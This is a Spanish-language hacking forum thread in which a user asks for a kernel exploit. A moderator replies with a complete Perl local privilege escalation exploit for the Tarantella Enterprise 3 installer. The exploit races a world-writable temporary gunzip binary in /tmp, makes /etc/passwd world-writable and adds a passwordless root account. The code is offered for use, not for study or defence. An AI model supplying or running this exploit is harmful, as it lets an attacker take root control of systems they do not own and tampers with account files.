Resultados 1 al 2 de 2

Tema: Buscando Un Exploit

  1. #1 Buscando Un Exploit 
    Medio
    Fecha de ingreso
    Dec 2001
    Ubicación
    En Algun Lugar Del Mundo O De La Red
    Mensajes
    114
    Descargas
    0
    Uploads
    0
    Wenas a tos, a ver si me podeis echar una manita estoy buscando algun exploit ( remoto o local) del kernel 2.4.2-13-p1-psmp-4g.
    Gracias.
    Citar  
     

  2. #2  
    Moderador HH
    Fecha de ingreso
    Feb 2002
    Ubicación
    México
    Mensajes
    1.155
    Descargas
    4
    Uploads
    0
    Tengo un exploit interesante que te da privilegios de root en la máquina local:
    Se trata de que tengan instalado el programa Tarantella Enterprice 3, entonces éste programa tiene problemas con los permisos en algunos de los archivos temporales usados durante el proceso de instalación, esto hace que un atacante obtenga privilegios elevados:

    Exploit:
    #!/usr/bin/perl -w
    #Another Exploit for tarantella enterprise 3 installation.
    #Larry Cashdollar lwc@vapid.dhs.org 2/08/2002
    #Exploits gunzip$$ binary being created in /tmp with perm 777
    #http://online.securityfocus.com/bid/3966
    #Experimental ext3 kernel mods for preventing/researching race conditions.
    #http://vapid.dhs.org/tmp-patch-kernel-2.4.17.html

    use strict;

    `cat << -EOF- > root.sh
    #!/bin/sh
    chmod 777 /etc/passwd
    echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
    -EOF-`;

    my $OUT = '';

    while(!$OUT) {
    $OUT = `ps -ax |grep gunzip |grep -v grep`;
    print "Found $OUT\n";
    }

    my @args = split(' ',$OUT);
    # Do this with one copy operation. This will break installation of tarantella.
    # should test for -w on /etc/passwd stop and su - tarexp.
    while(1) {
    `cp root.sh $args[4]`;
    }

    Espero que te sirva
    Citar  
     

Temas similares

  1. Buscando un deco
    Por ivan240 en el foro TV CABLE
    Respuestas: 0
    Último mensaje: 28-05-2010, 18:13
  2. CTF-2100 buscando en 02
    Por Iwo en el foro TV CABLE
    Respuestas: 2
    Último mensaje: 19-03-2010, 21:55
  3. Estoy buscando...
    Por hummer69 en el foro GENERAL
    Respuestas: 1
    Último mensaje: 08-11-2009, 10:01
  4. Buscando programa
    Por nicolasa en el foro APLICACIONES
    Respuestas: 3
    Último mensaje: 23-08-2006, 23:07
  5. Toy buscando...
    Por Kosuke en el foro EMULADORES TELEFONICOS
    Respuestas: 6
    Último mensaje: 18-02-2002, 03:51

Marcadores

Marcadores

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •